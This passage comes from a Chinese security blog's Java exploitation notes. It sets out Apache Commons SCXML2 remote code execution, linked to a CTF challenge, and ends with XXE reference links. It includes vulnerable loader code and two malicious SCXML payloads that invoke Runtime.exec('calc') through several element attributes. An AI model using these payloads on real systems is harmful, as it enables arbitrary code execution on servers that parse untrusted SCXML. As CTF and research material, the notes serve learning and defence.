4
5
Class tClass = Some.class;
JAXBContext context = JAXBContext.newInstance(tClass);
Unmarshaller um = context.createUnmarshaller();
Object o = um.unmarshal(inputStream);
tClass.cast(o);

scxml2【可RCE】

参考

https://1diot9.github.io/2025/11/18/HDCTF2023-BabyJxAx/

[https://boogipop.com/2023/04/24/Apache%20SCXML2%20RCE%E5%88%86%E6%9E%90/](https://boogipop.com/2023/04/24/Apache SCXML2 RCE分析/)

https://xz.aliyun.com/news/11828

https://mp.weixin.qq.com/s/bFQOFFbACv3buxQCgVFhUQ

NSSCTF可搜索BabyJxVx做题

漏洞:

1
2
3
4
5
String url = "http://127.0.0.1:8000/1.xml"
SCXMLExecutor executor = new SCXMLExecutor();
SCXML scxml = SCXMLReader.read(file);
executor.setStateMachine(scxml);
executor.go();

恶意xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<script>
''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')
</script>
</onentry>
</state>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<final id="run">
<onexit>
<send hints="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')">
</send>
<log expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')">
</log>
<assign expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')" location="1">
</assign>
<cancel sendidexpr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')">
</cancel>
<foreach array="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')" item="1">
</foreach>
<if cond="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')">
</if>
</onexit>
</final>
</scxml>

任选一个就行

参考

heihu师傅的私人笔记。wx公众号:Heihu Share

https://jlkl.github.io/2020/08/24/Java_03/

XXE

XXE之java补充

https://zoiltin.github.io/posts/%E7%9B%B2xxe%E4%B8%ADftp%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%88%A9%E7%94%A8/

https://mp.weixin.qq.com/s/bFQOFFbACv3buxQCgVFhUQ

https://blog.spoock.com/2018/10/23/java-xxe/

[https://boogipop.com/2023/04/24/Apache%20SCXML2%20RCE%E5%88%86%E6%9E%90/](https://boogipop.com/2023/04/24/Apache SCXML2 RCE分析/)

https://xz.aliyun.com/news/11828

https://mp.weixin.qq.com/s/bFQOFFbACv3buxQCgVFhUQ

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 100.4k 访客数 访问量